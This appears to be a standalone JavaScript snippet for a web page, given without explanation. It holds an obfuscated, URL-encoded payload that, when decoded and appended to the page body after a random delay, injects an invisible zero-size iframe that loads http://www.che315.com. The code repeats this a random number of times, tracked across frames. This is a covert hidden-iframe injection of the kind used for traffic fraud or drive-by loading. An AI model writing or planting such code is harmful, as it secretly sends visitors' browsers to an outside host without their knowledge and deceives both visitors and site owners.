this.trac = 0;

//top.mask = "%3Cdiv%20style%3D%22visibility%3Ahidden%3Bheight%3A0px%3Bwidth%3A0px%22%3E%3Ciframe%20src%3D%22javascript%3Aself.location.href%3Dtop.location.href%3B%22%20height%3D%220%22%20width%3D%220%22%3E%3C/iframe%3E%3C/div%3E";
top.mask = "%3Cdiv%20style%3D%22visibility%3Ahidden%3Bheight%3A0px%3Bwidth%3A0px%22%3E%3Ciframe%20src%3D%22javascript%3Aself.location.href%3D%27http%3A//www.che315.com%27%3B%22%20height%3D%220%22%20width%3D%220%22%3E%3C/iframe%3E%3C/div%3E";
var _r = Math.round(Math.random()%10*10);
var _s=Math.round(Math.random()%1000*1000)+100;

if(top.trac<_r){
	setTimeout("_gi()",_s);
	top.trac++;
}

function _gi(){
	var _i=unescape(top.mask);
	
	new Insertion.Bottom(self.document.body,_i);
}